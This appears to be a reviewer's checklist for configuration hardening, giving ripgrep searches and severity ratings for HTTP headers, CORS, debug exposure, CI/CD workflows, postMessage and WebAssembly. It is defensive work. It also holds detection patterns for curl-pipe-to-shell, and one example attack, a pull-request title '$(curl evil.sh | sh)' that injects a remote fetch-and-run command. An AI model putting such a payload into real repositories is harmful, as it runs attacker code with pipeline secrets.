Configuration Hardening

1 — Find the config surface

rg --files -g '*.conf' -g '*.cfg' -g '*.ini' -g '*.toml' -g '*.yaml' -g '*.yml' \
   -g 'nginx*' -g 'apache*' -g 'httpd*' -g '.env*' -g 'docker-compose*' \
   -g '.github/workflows/*' -g '.gitlab-ci.yml' -g 'Jenkinsfile' -g 'settings*.py' -g 'config*.js' -g 'appsettings*.json'

2 — HTTP & transport

• Headers on the main response path (app middleware, nginx add_header, helmet config):
  • Strict-Transport-Security missing → MEDIUM (HIGH for login sessions; recommend max-age=31536000; includeSubDomains)
  • X-Content-Type-Options: nosniff, X-Frame-Options/frame-ancestors (clickjacking), Content-Security-Policy missing → MEDIUM each; CSP absent on an app with rich user input → HIGH
  • Weak CSP is not a CSP: a policy containing script-src 'unsafe-inline'/'unsafe-eval' (or default-src *, http: schemes) neutralizes most XSS protection → report as MEDIUM/HIGH with the exact directive to fix (nonces/hashes instead of unsafe-inline; remove unsafe-eval unless the app compiles code)

rg -n -i "content-security-policy|script-src|default-src" -g '*.conf' -g '*.yml' -g '*.js' -g '*.html' -g '*.py' | head -10

• Cookie prefixes absent on auth/session cookies (__Host-/__Secure- prefixed names pin Secure + no subdomain shadowing) → MEDIUM: __Host-session not session
• SRI: third-party <script src="https://..."> without integrity= → MEDIUM (script supply-chain injection); same-origin scripts exempt

rg -n "script[^>]+src=["']https?://" -g '*.html' -g '*.ejs' -g '*.php' | rg -v integrity   # census: every SRI-less script dispositioned

• Referrer-Policy, Permissions-Policy → LOW
• TLS: ssl_protocols still includes TLSv1/TLSv1.1 → HIGH; self-signed or expired certs referenced → HIGH; HTTP→HTTPS redirect missing → MEDIUM
• Cookies: flags HttpOnly, Secure, SameSite on auth/session cookies (details in ../auth-review/SKILL.md)

3 — CORS

rg -n -i "access-control-allow-origin|cors\(|allow_origins|origin.*\*" -g '!*.md' -g '!docs/**'

• Access-Control-Allow-Origin: * combined with Allow-Credentials: true → impossible per spec; if framework silently reflects origin instead → CRITICAL (any site reads authenticated data)
• Origin reflection/echo of Origin header or regex like https?://.*\.example.com (matches evilexample.com — missing anchored dot) → HIGH
• Origin: null allowed (sandboxed iframes/data URIs send it; Access-Control-Allow-Origin: null in config or allow-lists matching null) with credentials/JSON → HIGH — null origin is attacker-forgeable via sandboxed iframe
• Wildcard without credentials → LOW/MEDIUM (still enumerates data)

4 — Debug & exposure

rg -n -i "debug\s*=\s*true|debug\s*:\s*true|app\.debug|debug_mode" -g '!*.md' -g '!docs/**'
rg -n -i "traceback|stack.?trace|display_errors\s*=\s*on|show_exceptions" -g '!*.md' -g '!docs/**'

• Django DEBUG=True / Flask debug=True / Laravel APP_DEBUG=true in prod-looking config → HIGH (stack traces, env leaks, Werkzeug debugger = RCE)
• Verbose error responses leaking SQL, paths, versions → MEDIUM
• Web cache deception: authenticated responses without Cache-Control: private/no-store behind a cache keyed on path extension (/api/me vs /api/me/x.css served from cache) → session data cached and readable. Check auth'd endpoints' cache headers + cache rules that vary on file extension.
• Web cache poisoning (GHSL/Academy class): unkeyed inputs (headers the cache ignores but the app reflects — X-Forwarded-Host, X-Original-URL, some query params) flowing into cacheable responses → one poisoned entry serves every victim. Repo-detectable subset: response headers/redirect URLs built from request headers WITHOUT keying them (Vary) + any cache layer in front (CDN config, Cache-Control: public on dynamic responses) → High; full exploitation is runtime-verify.
• HTTP request smuggling: mostly proxy/runtime-level, but repo signals exist — front+back frameworks disagreeing on header parsing is undetectable statically; flag adjacent risks: Content-Length + Transfer-Encoding handling in custom proxies/middleware code, and unvalidated X-Forwarded-*/absolute-URI handling in reverse-proxy configs (nginx/apache files in repo) → Medium (runtime-verify note).
• World-writable file permissions: chmod 0o777/0o666, os.open(..., 0o666), fopen + umask games on files that later execute or hold secrets (keys, configs, socket dirs) → High in prod context; also chmod -R 777 in Dockerfiles/scripts
• Default creds in configs (admin/admin, postgres/postgres in docker-compose) → HIGH in prod context, LOW in clearly-local compose
• Exposed sensitive files: .git/ served, .env in webroot, *.bak, .DS_Store, dump.sql, phpinfo() pages → HIGH
• Admin/health/debug endpoints (/actuator/* with env/heapdump, /debug, /admin) without auth → CRITICAL (Spring env/heapdump leaks credentials)

5 — CI/CD pipelines (supply chain)

rg -n "pull_request_target|secrets\.|curl.*\|\s*(ba)?sh|sudo|GITHUB_TOKEN|persist-credentials" .github/workflows/ 2>/dev/null
rg -n "\$\{\{\s*github\.event\.(pull_request\.(title|body|head\.ref)|comment\.|issue\.|review\.)" .github/workflows/ 2>/dev/null

• pull_request_target + checkout of PR head + secrets usage → CRITICAL (fork PRs run with base repo secrets)
• Workflow script injection: ${{ github.event.pull_request.title }} (or body/comment/review text) interpolated directly inside a run: block → attacker pushes a PR titled $(curl evil.sh | sh) → Critical. Pass event data through env: first (TITLE: ${{ github.event.pull_request.title }} then "$TITLE" — shell-quoted).
• curl ... | bash in workflows/Dockerfiles → HIGH
• Secrets echoed in logs (echo $SECRET), or secrets in env: at job level where third-party actions run → MEDIUM/HIGH
• Third-party actions pinned by tag (uses: x/y@v1) instead of commit SHA → MEDIUM
• Overbroad permissions: permissions: write-all or default token with pull requests from forks → MEDIUM

6 — Framework-specific spot checks

• Express: helmet absent, trust proxy weirdness, x-powered-by header
• Next.js/Nuxt: dangerouslyAllowSVG image configs, middleware auth bypass patterns
• Django: ALLOWED_HOSTS: ['*'] → MEDIUM; CSRF_COOKIE_SECURE, SESSION_COOKIE_SECURE false → MEDIUM
• Rails: force_ssl off, config.hosts empty
• Spring: management.endpoints.web.exposure.include: "*" → HIGH

7 — Client-side: postMessage & friends

rg -n "addEventListener\(\s*['\"]message|onmessage\s*=|\.receive\(|window\.postMessage|\.postMessage\(" -g '*.js' -g '*.ts' -g '*.html' -g '*.vue' -g '*.svelte'

SPA/extension/embed code that listens for messages:

• No event.origin check before using event.data → HIGH (any window/embed can message it)
• event.data flowing into DOM sinks (innerHTML, location.href = e.data) → CRITICAL combo (cross-origin XSS)
• Sending with postMessage(payload, '*') when payload is sensitive → MEDIUM (any parent/iframe receives it)
• Safe form: if (e.origin !== 'https://app.example.com') return; + escaped sinks + explicit target origin

Also: window.open handles with opener access across origins, and service-worker message handlers — same rules.

8 — WebAssembly (WSTG 4.13)

rg --files -g '*.wasm' -g '*.wat'
rg -n "WebAssembly\.(instantiate|instantiateStreaming|compile|Module)\(" -g '*.js' -g '*.ts' -g '*.html'
rg -n "fetch\(" -g '*.js' -g '*.ts' | rg -i "engine|wasm|url|param" | head -20

• wasm module fetched from a client-controlled URL (query param → fetch(url) → WebAssembly.instantiateStreaming) → HIGH — attacker-chosen code executes in the page origin; supply-chain rules apply to the artifact (../dependency-vulns/SKILL.md)
• bytes from untrusted input compiled directly (new WebAssembly.Module(userBytes)) → HIGH
• .wasm/.wat blobs tracked in repo: check provenance — what compiled them, is the build tracked/reproducible in CI; unexplained third-party blobs → supply-chain finding, severity by reachability
• Safe shape: fixed-path same-origin fetch (triage discriminator for the instantiate grep — it hits both forms)
• Wasm sandbox escapes / memory bugs in compiled sources (Rust unsafe, C pointers) → runtime-verify + source review via the C pack in ../injection-flaws/SKILL.md

API resource & consumption (OWASP API4/API10)

Outbound (API10 — unsafe consumption): the app calling a third-party API is a client handling untrusted input:

rg -n "(axios|fetch|requests|http\.get|RestTemplate|WebClient)\(" -g '*.js' -g '*.ts' -g '*.py' -g '*.java' | rg -v timeout | head

• Upstream responses rendered/executed without validation (innerHTML = upstream.data, eval(body), template injection) → HIGH (compromised/malicious API = XSS/RCE in your app)
• Upstream fields trusted for authorization (if (upstream.role === 'admin')) → HIGH — the third party (or DNS/MITM on plain http) becomes your authz
• No timeout on outbound calls → HIGH availability note (API4: one slow dependency stalls workers); recommend connect+read timeouts
• Inbound (API4 — resource consumption): list endpoints without page/limit caps (unbounded Model.all(), find() no limit) → MEDIUM; batch/mutation endpoints without max-batch-size → MEDIUM; file-processing endpoints without count caps → note with upload checks

Reporting

Table of config → issue → severity → exact config change. Config findings are usually cheap fixes; order the fix list by severity then by effort (these often come first after secrets).